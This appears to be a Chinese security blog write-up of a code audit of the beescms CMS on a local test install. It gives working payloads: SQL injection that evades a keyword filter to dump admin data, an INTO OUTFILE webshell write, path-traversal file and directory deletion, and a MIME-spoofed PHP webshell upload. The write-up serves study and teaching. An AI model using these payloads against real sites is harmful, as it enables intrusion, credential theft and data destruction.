freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

beescms代码审计
2022-08-03 23:49:43
所属地 河南省

前言

在跟着学习过几个简单的CMS代码审计后,也尝试自己去进行了一次代码审计,本次的代码审计针对的是beescms,过程记录如下,希望能对初学代码审计的师傅有所帮助。

环境搭建

beescms链接如下
https://pan.baidu.com/s/1slSoqIx
下载并解压过后,访问/install
在这里插入图片描述
在这里插入图片描述

代码审计

先查看cms结构
在这里插入图片描述
几个常见文件夹功能如下

admin:管理员后台文件夹
data: 系统处理数据相关目录
emplate: 模板文件夹
install :网站进行安装的文件夹
upload :上传功能文件夹

了解了大致的文件夹结构,也知道了其功能,接下来开始进行代码审计

SQL注入

admin/login.php

SQL注入的话很可能出现在登录框这种界面中,这里的话我们采用先黑盒,后白盒的方式来进行审计,登录框的话,我们想到后台登录界面,肯定存在登录框,因此我们访问admin/login.pphp
在这里插入图片描述
测试一下闭合方式,同时看是否有过滤,用单引号来试一下
在这里插入图片描述
出现了报错,这意味着很可能有戏,此时我们尝试用#来闭合,看语句是否正常
在这里插入图片描述
在这里插入图片描述
说不存在此用户,没有报错错误,那说明成功闭合了,这里存在SQL注入
查看字段数

1' order by 5

在这里插入图片描述

在这里插入图片描述
这个正常,再查看查看6

1' order by 6

在这里插入图片描述
在这里插入图片描述
所以字段数为5,查看回显位

-1' union select 1,2,3,4,5#

在这里插入图片描述
报错了,但你从它的报错语句中可以看出union select消失了,这说明存在过滤,这两个被过滤了,看一下源代码

elseif($action=='ck_login'){
	global $submit,$user,$password,$_sys,$code;
	$submit=$_POST['submit'];
	$user=fl_html(fl_value($_POST['user']));
	$password=fl_html(fl_value($_POST['password']));
	$code=$_POST['code'];
	if(!isset($submit)){
		msg('请从登陆页面进入');
	}
	if(empty($user)||empty($password)){
		msg("密码或用户名不能为空");
	}
	if(!empty($_sys['safe_open'])){
		foreach($_sys['safe_open'] as $k=>$v){
		if($v=='3'){
			if($code!=$s_code){msg("验证码不正确!");}
		}
		}
		}
	check_login($user,$password);
	
}

可以看出用户名和密码都被fl_valuefl_html函数包裹,跟进查看一下这两个函数

function fl_value($str){
	if(empty($str)){return;}
	return preg_replace('/select|insert | update | and | in | on | left | joins | delete |\%|\=|\/\*|\*|\.\.\/|\.\/| union | from | where | group | into |load_file
|outfile/i','',$str);
}
define('INC_BEES','B'.'EE'.'SCMS');

function fl_html($str){
	return htmlspecialchars($str);
}

对函数htmlspecialchars进行简单解释

htmlspecialchars — 将特殊字符转换为 HTML 实体

这里的话明显的可以看出对XSS和SQL注入进行了防护,过滤了很多SQL注入的字符,但是吧,它是直接替换掉了,这里其实可以考虑双写绕过,但是想到联合查询在这里即使成功也只是返回一个密码不正确,没啥用,所以不再尝试,这里的话可以考虑布尔盲注和报错注入,我这里试一下报错注入,因为and被ban,所以用or,因为updatexml中的update被ban,所以在这里用extractvalue来进行

1' or (extractvalue(1,concat(0x7e,(select database()),0x7e)))#

在这里插入图片描述
爆表
这里的话其实过滤的是比较多的,selectfromwhere=这些都被ban了,不过这里其实还都是可以尝试绕过一下的,如同之前所说,采用双写绕过即可
各个字符绕过方法如下

select:seselectlect
from: fr from om 
where: wh where ere
=: like

构造payload如下

1' or (extractvalue(1,concat(0x7e,(seselectlect table_name fr from om information_schema.tables wh where ere table_schema like 'root' limit 1,1),0x7e)))#

在这里插入图片描述
爆列

1' or (extractvalue(1,concat(0x7e,(seselectlect column_name fr from om information_schema.columns wh where ere table_name like 'bees_admin' limit 1,1),0x7e)))#

在这里插入图片描述
爆字段

-1' or (extractvalue(1,concat(0x7e,(seselectlect admin_name fr from om  bees_admin),0x7e)))#

在这里插入图片描述
这个只是常规的注入,这里我们还可以尝试一下去写入shell

写shell

用联合查询,将一句话木马传入到该CMS中,从而ghtshell,但是有个条件,即

知道该CMS的绝对路径

写入shell,写的是一句话木马,即<?php @eval($_POST[1]);?>这种,但这里有过滤XSS的函数,会对<>标签进行转义,因此我们这里的话选用十六编码来进行绕过
开始写

-1'un union ion seleselectct 1,2,3,4,0x3c3f70687020406576616c28245f504f53545b315d293b3f3e   in into outoutfilefile 'D:/phpStudy/PHPTutorial/WWW/beescms/1.php'#

在这里插入图片描述
查看根目录下

在这里插入图片描述
连接shell在这里插入图片描述
在这里插入图片描述

admin_admin.php(失败)

//删除管理员
elseif($action=='admin_del'){
	if(!check_purview('admin_manage')){msg('<span style="color:red">操作失败,你的权限不足!</span>');}
	$id = intval($_GET['id']);

	$rel=$GLOBALS['mysql']->fetch_asc('select admin_purview,admin_name from '.DB_PRE."admin where id=".$id);
	$purview=isset($rel[0]['admin_purview'])?$rel[0]['admin_purview']:'';
	$user=isset($rel[0]['admin_name'])?$rel[0]['admin_name']:'';
	if($purview==1){
	$admin_num=$GLOBALS['mysql']->fetch_rows("select id from ".DB_PRE."admin where admin_purview=1");
	if($admin_num==1){err('<span style="color:red">请先添加一个超级管理员</span>');}
	}
	if($user==$_SESSION['admin']){msg('<span style="color:red">不能删除正在使用的管理员【'.$_SESSION['admin'].'】</span>');}
	$GLOBALS['mysql']->query("delete from ".DB_PRE."admin where id=".$id);
	msg('<span style="color:red">管理用户删除成功</span>','?');
}

主要关注这句话

$rel=$GLOBALS['mysql']->fetch_asc('select admin_purview,admin_name from '.DB_PRE."admin where id=".$id);

这里的id是我们可控的参数,我们跟进看一下id的传值方式,发现$id = intval($_GET['id']);,被intval包裹了,因此这里的话无法进行注入,这里属于是误报了,下一处。

admin_ajax.php(失败)

elseif($action=='change_pic_alt'){
	$id= intval($_REQUEST['id']);
	$val = $_REQUEST['val'];
	if(empty($id)){die(0);}
	$val_sql=empty($val)?"pic_alt=''":"pic_alt='".$val."'";
	$sql="update ".DB_PRE."uppics set ".$val_sql." where id=".$id;
	$mysql->query($sql);
	die($id);
}
//其它操作
else{
	die('没有参数');
}
echo PW;

这里的话可控的依旧是id变量,查看其传值方式$id= intval($_REQUEST['id']);,类似于上一个,不存在SQL注入,误报+1

这个文件下还有一处

//排序
elseif($action=='order'){
	$table=$_REQUEST['table'];
	$field = $_REQUEST['field'];
	$id = intval($_REQUEST['id']);
	$sql="update ".DB_PRE."{$table} set {$field}=".intval($value)." where id={$id}";
	$GLOBALS['mysql']->query($sql);
	//更新缓存
		if($table=="lang"){	
			$sql="select*from ".DB_PRE."{$table} order by {$field} desc";
			$rel=$GLOBALS['mysql']->fetch_asc($sql);
		$cache_file=DATA_PATH.'cache/lang_cache.php';
		$str="<?php\n\$lang_cache=".var_export($rel,true).";\n?>";
		}elseif($table=="channel"){
			$sql="select*from ".DB_PRE."{$table} order by {$field} desc";
			$rel=$GLOBALS['mysql']->fetch_asc($sql);
			$cache_file=DATA_PATH.'cache_channel/cache_channel_all.php';
			$str="<?php\n\$channel=".var_export($rel,true).";\n?>";
		}
		creat_inc($cache_file,$str);
}

id参数依旧经过了intval函数,这个万恶的函数怎么一直有哇,下一个。

经测试
后面诸多报出SQL注入漏洞的都是id参数,但都被函数intval包裹,不存在SQL注入,这里不再枚举,大家可自行测试

XSS

想着存在SQL注入的地方可能会存在XSS,这里再查看一下

admin/login.php(失败)

elseif($action=='ck_login'){
	global $submit,$user,$password,$_sys,$code;
	$submit=$_POST['submit'];
	$user=fl_html(fl_value($_POST['user']));
	$password=fl_html(fl_value($_POST['password']));
	$code=$_POST['code'];
	if(!isset($submit)){
		msg('请从登陆页面进入');
	}
	if(empty($user)||empty($password)){
		msg("密码或用户名不能为空");
	}
	if(!empty($_sys['safe_open'])){
		foreach($_sys['safe_open'] as $k=>$v){
		if($v=='3'){
			if($code!=$s_code){msg("验证码不正确!");}
		}
		}
		}
	check_login($user,$password);
	
}

发现fl_html函数,上文跟进过,这里再看一下

function fl_html($str){
	return htmlspecialchars($str);
}

<'这些特殊字符进行了HTML实体化,这看似意味着我们无法闭合语句,但实际上服务端会对其进行一次解码,也就是说这里的话其实是无实际意义的,我们构造payload如下

admin'or <script>alert(1)</script>#

在这里插入图片描述
看着这个报错我也是有点懵,感觉像是#未发挥作用,但从这里的语句可以看出来,它的标签这些都是未被转义的,也就验证了刚刚的说法,不过这里不知道为什么不能成功触发XSS,保留疑问,如果有大师傅知道的话还请指点一二。

任意文件及目录删除

admin_ajax.php

elseif($action=='del_pic'){
	$file=CMS_PATH.'upload/'.$value;
	@unlink($file);
	die("图片成功删除");
}

查看各个变量的传值方式
action

$action=empty($_REQUEST['action'])?'action':$_REQUEST['action'];

value

$value=$_REQUEST['value'];

因此这里的变量都是可控的,我们令actiondel_pic,接下来控制value的值即可实现删除文件,但此时它是只能删除upload路径下的文件,我们想要实现任意文件删除的话,该怎么办呢,这里就可以利用./实现,这里在根目录下创建一个1.php进行测试
在这里插入图片描述
在这里插入图片描述
查看本地
在这里插入图片描述
成功删除

admin/admin_db.php

//删除数据文件
elseif($action=='del'){
	if(!check_purview('data_import')){msg('<span style="color:red">操作失败,你的权限不足!</span>');}
	$fl = $_GET['fl'];
	if(empty($fl)){err('<span style="color:red">参数传递错误,请重新操作</span>');}
	$db_handler=@opendir(DATA_PATH.'backup/'.$fl);
	if($db_handler){
		while(false!==($d_file=readdir($db_handler))){
			@unlink(DATA_PATH.'backup/'.$fl.'/'.$d_file);
		}
	}
	@rmdir(DATA_PATH.'backup/'.$fl);
	msg($fl.'删除成功','?action=import&nav='.$admin_nav.'&admin_p_nav='.$admin_p_nav);
}

简单读一下代码,这里的话就是要求这个fl参数是在data/backup路径下的,而且里面有内容,此时就会删除这个fl下的文件,但这个fl变量没有限制,这也就意味着我们可以借./实现目录穿越,可以直接把backup目录删除,甚至data目录都可以给它干没了,接下来来实操一下
在这里插入图片描述
本地看一下
在这里插入图片描述
接下来再大胆一点,删了data目录
在这里插入图片描述
在这里插入图片描述
删完就报错了
在这里插入图片描述
这个没有完全删除data目录,对比一下可以看出文件已被删除,在这里插入图片描述在这里插入图片描述
为什么目录没被删除呢,再看一下这两行代码

while(false!==($d_file=readdir($db_handler))){
			@unlink(DATA_PATH.'backup/'.$fl.'/'.$d_file);

这里删除的是$d_file,这个变量它是可读的db_handler,如果是文件夹的话,当然读不出来什么东西,它只能得到一堆文件名,只有文件才可读,所以这就造成了data未完全删除,只删了文件。

admin/admin_catagory.php(失败)

//删除栏目
elseif($action=='del'){
   if(!check_purview('cate_del')){msg('<span style="color:red">操作失败,你的权限不足!</span>');}
	$id=intval($_GET['id']);
	//判断是否有内容
	$has_content=$GLOBALS['mysql']->fetch_rows("select id from ".DB_PRE."maintb where category=".$id);
	if($has_content){msg('<span style="color:red">请先删除该栏目下的内容</span>');}
	del_cate_child($id,$lang);
	$GLOBALS['mysql']->query('delete from '.DB_PRE.'category where cate_parent='.$id." and lang='".$lang."'");
	$GLOBALS['mysql']->query('delete from '.DB_PRE.'category where id='.$id." and lang='".$lang."'");
	if(file_exists(DATA_PATH.'cache_cate/cache_category'.$parent.'_'.$lang.'.php')){
				unlink(DATA_PATH.'cache_cate/cache_category'.$parent.'_'.$lang.'.php');
			}

这里的话可以看见这个unlink函数中可控的有parentlang变量,但前面限制了目录是data/cache_cate/cache_category,这个本无可厚非,利用目录穿越即可跳跃到其他目录,但这个unlink函数执行的条件是

file_exists(DATA_PATH.'cache_cate/cache_category'.$parent.'_'.$lang.'.php'

这就意味着必须是该路径下存在的文件
在这里插入图片描述
也就是这些,这也就是说只有parent为数字,lang为cn或者en时才能满足条件,才能包含,但此时又无法实现任意文件删除,只能删除这几个文件,因此这里是无法实现任意文件删除。

任意文件包含

admin/admin_catagory.php(失败)

代码如下

//栏目列表
if($action=='catagory'){
	$file_path=DATA_PATH.'cache_cate/cate_list_'.$lang.'.php';
	if(file_exists($file_path)){
		include($file_path);
	}

乍一看的话感觉这里是存在注入点的,因为$lang可控,查看一下变量传值方式

$lang=isset($_REQUEST['lang'])?fl_html(fl_value($_REQUEST['lang'])):get_lang_main();

感觉我们如果用../的话进行目录穿越,就可以实现任意文件包含,但仔细看的话,他这个变量前面是路径data/cache_cate/cate_list_,然后它把变量lang以及php进行了拼接,检验这个是否存在,存在才去包含,这意味着限制了文件只能是该目录下的几个文件才可以实现包含,去该目录下进行查看
在这里插入图片描述
也就是说只能是这三个文件才能正常包含,此时也就限制了lang的值只有三种可能,即1cnen
因此这里的话无法实现任意文件包含,下一处

$lang=isset($_REQUEST['lang'])?fl_html(fl_value($_REQUEST['lang'])):get_lang_main();
if(file_exists(DATA_PATH.$lang.'_info.php')){include(DATA_PATH.$lang.'_info.php');}//语言网站配置$_confing

这个的话与上面类似,它是后缀是_info.php,同样能满足条件的也只有那几个文件了,也就相当于变相的限制了变量的值,所以也无法实现任意文件包含,下一处

admin_channel.php(失败)

//开始导入字段
elseif($action=='save_backup')
{
	if(!check_purview('field_del')){msg('<span style="color:red">操作失败,你的权限不足!</span>');}
	$channel_id = intval($_POST['channel_id']);
	if(empty($channel_id))
	{
		msg('参数发生错误!请重新操作!');
	}
	//判断是否存在文件
	$file_name = $_POST['file_name'];
	if(empty($file_name))
	{
		msg('文件名不能为空!');
	}
	$file_path = DATA_PATH.'backup/'.$file_name.'.php';
	if(!file_exists($file_path))
	{
		msg('不存在导入文件,请检查data/backup目录下是否存在文件');
	}	
	include($file_path);

同之前相似,检验了文件是否存在,也就是变相的限制了变量的值,无法实现目录穿越,因此无法实现任意文件删除

文件上传

文件上传可以关注type="file"move_upload_file()等等
这里搜索一下type="file"
在这里插入图片描述
开始审计

admin/upload.php

<?php
if(isset($_FILES['up'])){
if(is_uploaded_file($_FILES['up']['tmp_name'])){
	if($up_type=='pic'){
		$is_thumb=empty($_POST['thumb'])?0:$_POST['thumb'];
		$thumb_width=empty($_POST['thumb_width'])?$_sys['thump_width']:intval($_POST['thumb_width']);
		$thumb_height=empty($_POST['thumb_height'])?$_sys['thump_height']:intval($_POST['thumb_height']);
		$logo=0;
		$is_up_size = $_sys['upload_size']*1000*1000;
		$value_arr=up_img($_FILES['up'],$is_up_size,array('image/gif','image/jpeg','image/png','image/jpg','image/bmp','image/pjpeg'),$is_thumb,$thumb_width,$thumb_height,$logo);
		$pic=$value_arr['pic'];
		if(!empty($value_arr['thumb'])){
		$pic=$value_arr['thumb'];
		}
		$str="<script type=\"text/javascript\">$(self.parent.document).find('#{$get}').val('{$pic}');self.parent.tb_remove();</script>";
		echo $str;
		exit;
	}//图片上传
}else{
die('没有上传文件或文件大小超过服务器限制大小<a href="javascript:history.back(1);">返回重新上传</a>');
}
}
?>

这里的话看起来猜测是是限制了MIME类型为图片,主要看的是这行代码

$value_arr=up_img($_FILES['up'],$is_up_size,array('image/gif','image/jpeg','image/png','image/jpg','image/bmp','image/pjpeg'),$is_thumb,$thumb_width,$thumb_height,$logo);

这句话后面代码被up_img函数包裹,跟进查看一下这个函数

function up_img($file,$size,$type,$thumb=0,$thumb_width='',$thumb_height='',$logo=1,$pic_alt=''){
		if(file_exists(DATA_PATH.'sys_info.php')){include(DATA_PATH.'sys_info.php');}
		if(is_uploaded_file($file['tmp_name'])){
		if($file['size']>$size){
			msg('图片超过'.$size.'大小');
		}
		$pic_name=pathinfo($file['name']);//图片信息
		
		$file_type=$file['type'];
		if(!in_array(strtolower($file_type),$type)){
			msg('上传图片格式不正确');
		}
		$path_name="upload/img/";
		$path=CMS_PATH.$path_name;
		if(!file_exists($path)){
			@mkdir($path);
		}
		$up_file_name=empty($pic_alt)?date('YmdHis').rand(1,10000):$pic_alt;
		$up_file_name2=iconv('UTF-8','GBK',$up_file_name);
		$file_name=$path.$up_file_name2.'.'.$pic_name['extension'];
		
		if(file_exists($file_name)){
			msg('已经存在该图片,请更改图片名称!');//判断是否重名
		}
		
		$return_name['up_pic_size']=$file['size'];//上传图片大小
		$return_name['up_pic_ext']=$pic_name['extension'];//上传文件扩展名
		$return_name['up_pic_name']=$up_file_name;//上传图片名
		$return_name['up_pic_path']=$path_name;//上传图片路径
		$return_name['up_pic_time']=time();//上传时间
		unset($pic_name);
		//开始上传
		if(!move_uploaded_file($file['tmp_name'],$file_name)){
			msg('图片上传失败','',0);
		}

发现$file_type=$file['type'];,这里也就是将上传文件的Content-type与它要求的Content-type进行了比对,如果不一致就报错,也就是限制了MIME类型,同时还有这几行代码

if($file['size']>$size){
			msg('图片超过'.$size.'大小');
		}

限制了文件大小,不能上传过大的文件。那我们这里的话修改MIME类型,是不是就可以上传木马文件了呢。
抓包试一下
在这里插入图片描述

可以发现直接上传的话因为MIME类型,即Content-type类型不符合要求而无法上传,我们这里修改一下MIME类型在这里插入图片描述
成功上传
这里的话一般后台都是放在upload文件夹下,因此我们访问

http://127.0.0.1:8080/beescms/upload/img/202207162207331297.php

在这里插入图片描述

蚁剑连接
在这里插入图片描述
在这里插入图片描述
成功getshell
已知这个up_img函数过滤不严格,那我们就可以通过搜索它来找到其他漏洞点
在这里插入图片描述
发现admin_pic_upload.php

admin/admin_pic_upload.php

书接上回,它里面含有up_img函数,找到主要代码

if(is_uploaded_file($v)){
		$pic_info['tmp_name']=$v;
		$pic_info['size']=$_FILES['up']['size'][$k];
		$pic_info['type']=$_FILES['up']['type'][$k];
		$pic_info['name']=$_FILES['up']['name'][$k];
		$pic_name_alt=empty($is_alt)?'':$pic_alt[$k];
		$is_up_size = $_sys['upload_size']*1000*1000;
		$value_arr=up_img($pic_info,$is_up_size,array('image/gif','image/jpeg','image/png','image/jpg','image/bmp','image/pjpeg','image/x-png'),$up_is_thumb,$up_thumb_width,$up_thumb_height,$logo=1,$pic_name_alt);
		//处理上传后的图片信息
		$pic_name=$value_arr['up_pic_name'];//图片名称空
		$pic_ext=$value_arr['up_pic_ext'];//图片扩展名
		$pic_title = $pic_alt[$k];//图片描述
		$pic_size = $value_arr['up_pic_size'];//图片大小
		$pic_path = $value_arr['up_pic_path'];//上传路径
		$pic_time = $value_arr['up_pic_time'];//上传时间
		$pic_thumb = iconv('GBK','UTF-8',$value_arr['thumb']);//缩略图
		$cate = empty($pic_cate)?1:$pic_cate;//图片栏目
		//入库
$sql="insert into ".DB_PRE."uppics (pic_name,pic_ext,pic_alt,pic_size,pic_path,pic_time,pic_thumb,pic_cate) values ('".$pic_name."','".$pic_ext."','".$pic_title."','".$pic_size."','".$pic_path."','".$pic_time."','".$pic_thumb."',".$cate.")";
$mysql->query($sql);

看起来跟之前那个不能说是毫无联系,只能说是一模一样,抓包试试看
在这里插入图片描述
可以在bp中看见上传路径,网页端也可以在这里插入图片描述
蚁剑连接
在这里插入图片描述
在这里插入图片描述

总结

自己手动找漏洞点的话是比较麻烦的,一般都是使用工具,但工具只是作为辅助,会出现误判和少点等情况,因此我们不能仅依靠工具来找漏洞点,也需要自己去挖掘漏洞点才能够找出更多的漏洞。至此,小白的本次代码审计就告以段落了,学习代码审计,我们永远在路上。

# 代码审计
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录